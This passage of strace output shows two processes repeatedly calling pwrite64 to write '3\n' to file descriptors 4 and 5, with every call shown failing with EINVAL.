[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
